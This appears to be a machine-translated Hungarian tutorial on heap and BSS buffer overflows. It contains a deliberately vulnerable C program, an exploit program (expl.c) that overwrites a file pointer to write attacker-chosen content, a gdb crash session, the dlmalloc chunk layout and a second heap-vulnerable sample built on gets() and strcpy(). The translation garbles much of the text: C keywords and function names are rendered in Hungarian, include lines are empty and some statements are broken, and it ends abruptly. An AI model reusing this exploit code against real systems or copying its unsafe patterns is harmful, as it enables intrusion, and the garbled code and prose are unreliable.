Attack osztály halom alapú túlcsordulás

Attack osztály halom alapú túlcsordulás


Kezdjük azzal, hogy a támadás alapján a halom túlcsordulás (kupac - egy halom) egy nagyságrenddel nehezebb
megérteni és megvalósítani, mint egy támadás alapuló verem túlcsordulás (puffer túlcsordul).
Dokumentációt az ilyen típusú támadásokat kicsi, de annak ellenére, hogy ezek a tényezők, túlcsordulás támadások
kupac egyre széles körben forgalomban, nem éri meg séta a közelmúltban két nagy horderejű hasznosítja: apache chunked
kódolás kiaknázása és az OpenSSH kihasználni. Minden más, suschestvet sok fajta támadás
(Attól függően, hogy az újraírható részén, funkciók és túltöltés elem). Ahhoz, hogy megértsük az elvet
támadások kell tudni: C, szerelő és a támadás verem túlcsordulás.

Egy kicsit a szakaszok:

halom - a dinamikus memória területet juttatott a szakaszában a program végrehajtását.
például:
char * valami = malloc (90); // valamit egy pointert az adatokat HIPE.

adatok - területe innitsializirovannyh adatok osztják meg lefordítani a programot.
például:
char * valami = "selejt dat";
statikus char something2 = "Brooklyn állatkert";

BSS - terület neinnitsializirovannyh adatokat juttatott a végrehajtás során.
például:
static int someshit;
statikus char szar;

Megtámadja a halom túlcsordulás szorosan kapcsolódik a memória, így nem zavarja
ismételje meg az értékek bizonyos funkciók foglalkozó memóriát.

void * malloc (size_t méret) - allokál memória Retreiving amelynek mérete értelmetlen változó méretű
void * calloc (size_t nmemb, size_t méret) - memóriát egy tömb (nmemb), minden eleme, amelynek a mérete felbontás.
void * realloc (void * ptr, size_t méret) - megváltoztatja az objektum mérete által mutatott ptr, méret méret és visszaad egy pointert a (lehetőleg) költözött objektumot.
üregmentes (void * ptr) - felszabadítja memória használatával osztják malloc (), calloc (), realloc (), amely arra szolgál, egy mutatót ptr

void * memset (void * buf, int karakter, size_t len) - írja len byte változó (unsigned char) karaktert buf.
void * memcpy (void * DST, const void * src, size_t LEN) - példányban len bájt változó src a DST.
void * mmap (void * addr size_t len ​​int megvédeni, int zászlók, int fd, off_t ellensúlyozni.) - megjeleníti a fájl vagy a készülék memóriájába.

Minden a funkciók leírását, amelyeket adtam, úgy tűnik, egy kicsit elvont, így biztos,
Olvasd Mana!

Másolás mutató: a támadó átírni a különböző adatokat a puffer túlcsordulás
található HIPE. Vegyünk például egy tipikus helyzet, a program rögzíti lépett
felhasználói adatokat egy fájlba. Felhasználási kap () függvény, így képesek leszünk, hogy felülírja a mutatót
fájlba.

int
fő (int argc, char ** argv)
<
FILE * a;
statikus char buf [16], * inf; // a bss rész

inf = "adatok"; // mutató, amely felülírja
printf ( "adja sumthin„: \ n");
kap (buf);
printf ( "után jelentkeznek (): inf =% s,", inf); // az egyszerűség kedvéért abból mutató inf
a = fopen (inf, "w"); // fájl megnyitása írásra
fputs (buf, in); // írásadat
fclose (a);
>

$ Cc -o vul vul.c
$ Gdb-vul
.
(A GDB) R blabla
Kiindulási program: / home / damnass / vul
írja sumthin „:
AAAAAAAAAAAAAAAAAAAAAAA

Program vett jel SIGSEGV, szegmentálás hibája.
0x40086842 in vfprintf ()

Tehát mi történik itt:
Klasszikus prepolnenie puffer jelentkezik a gets () függvény, amennyit csak lehet tisztán látni a függvény hívások
Nem 0x41414141, EIP-, de nem írja felül. Miért történik ez. Mivel a puffer a szegmensben BSS.

Nézzük meg, mi történik, ha a következő parancsokat:

$ Echo "dumbshit" | ./vul

Ebben a kódot, nem csak benne érvek (argv). még ha
programban szereplő nem érv, az argv [1] is meg fog jelenni a memóriában
folyamatot. Mivel nem tudjuk, hogy az eltolt argv [1] előtt ESP meg kell rendezni rajta.
Mert eksploitatsii van szükségünk, hogy egy ilyen sort:

$ Echo $ BUF | ./vulprog1 nerfed.sh

$ BUF - puffer, amely prepolnyat.
Tett és a nyers bontórúd rá:

// expl.c:
// vul.c kihasználni
// Az rekord bármely (nerfed.sh a mi esetünkben) fájl


#include
#include
#define VBUF 16 // buf mérete vul.c

int
fő (int argc, char ** argv)

u_long címe;
int i, stringsize;
char * string;
char buf [VBUF + 14];

memset (buf, 0, sizeof (buf));
strcpy (buf "echo n3rf3d #!"); // másolja a bájtok, amelyek a fájlban (# - a bal komentirovat húr túlcsordulás)
memset (buf + strlen (buf), 0x31, VBUF); // töltse puffer bájt, hogy túlcsordul a puffer

cím = get_sp () + atoi (argv [1]);

// ez a ciklus szükséges little endian rendszerek (a legtöbb) - feldolgozására
for (i = 0; i buf [VBUF + i] = ((u_long) cím >> (i * 8) 255);

stringsize = strlen (buf) + strlen ( "./ vul") + strlen ( "nerfed.sh") + 13; // így a mérete húr
string = (char *) malloc (stringsize); // Létrehozunk egy dinamikus tömb string
memset (string, 0, sizeof (stringsize));
snprintf (string, stringsize - 1, "echo '% s' |% s% s \ n", buf, "./ vul", "nerfed.sh"); // töltse ki az összes húr
printf ( "addr:% p \ n", cím);
rendszer (string); // menjünk végre. )
vissza 0;
>

$ Make expl
cc -O2 -o expl expl.c

$ Cat> bf.pl
#! / Usr / bin / perl

$ Ls -l nerfed.sh
-rw-r - r-- 1 gyökér tim szeptember 30. 18. 21:07 nerfed.sh

$ Strings eredmény | grep nerfed.sh
Miután kap (): inf = nerfed.sh, addr: 0xcfbfdb6e

$ Cat nerfed.sh
echo n3rf3d! # 11nsh№o1111111111

$ Sh nerfed.sh
n3rf3d!
$ exit

Egy kicsit a dlmalloc.
Hip osztva (Doug Lea Malloc) szóló darabokat memória (memória bit). Megkerülhető több szó,
darab - egy darab memória amely számára / felszabaduló memória hívásakor malloc funkciókat.
De itt meg kell jegyezni, hogy a csonk nem egyenlő a méret, aki kérte,
Felhasználói funkciók. A méret-tartomány 8 bájt.
Ez a szerkezet határozza meg a darab:

struct malloc_chunk <
size_t prev_size; // csak ha az előző darab ingyenes
size_t méret; // darab méretét byte + 2 állapotbitek
struct malloc_chunk * fd; // csak a szabad darabokat: mutató a következő darab
struct malloc_chunk * bk; // csak a szabad darabokat: mutató az előző darab
>;

Azt tanácsoljuk, hogy olvassa /usr/share/doc/papers/malloc.ascii.gz.
Egy kis gyakorlat, ez csak egy példa a sérülékeny program:

// sérülékeny kódot talált a vad web
// Pierre-Alain FAYOLLE, Vincent GLAUME

int main ()
<
char * buf;
char * bufone = (char *) malloc (666); // memóriát (666 bájt), hogy a tömb bufone
char * buftwo = (char *) malloc (2); // ugyanaz buftwo csak 2 byte
printf ( "input: \ n");
kap (buf); // felhasználói inputot buf
strcpy (bufone, buf); // copy buf -> bufone
szabad (bufone); // kiadás memóriát bufone
szabad (buftwo); // kiadás memóriát buftwo
visszatérő (1);
>

Nézzük meg a vonalat strcpy (): itt lehet belegyömöszölni bufone array buf (ami szintén, viszont
zsúfolt, mint használt kap () függvény). Mindenesetre, átírjuk címkék
Chunk azt prev_size, méret, malloc_chunk * fd, malloc_chunk * bk. Amikor hívja ingyen a ()
Az első darab felül kell vizsgálni, és a következő (második) darab - is használják-e vagy sem,
választani () függvény felszabadítja ki a lapot, és fokozza a felszabadult darabokat.


Mi lesz, hogy hozzon létre, hogy hozzon létre egy darab maradt a megfelelő információkat. Ez egy hosszú folyamat, hogy én nem
Fogok leírni, lásd MaXX'a papír: vudo-howto.txt.

Jegyezze fel az asztalra: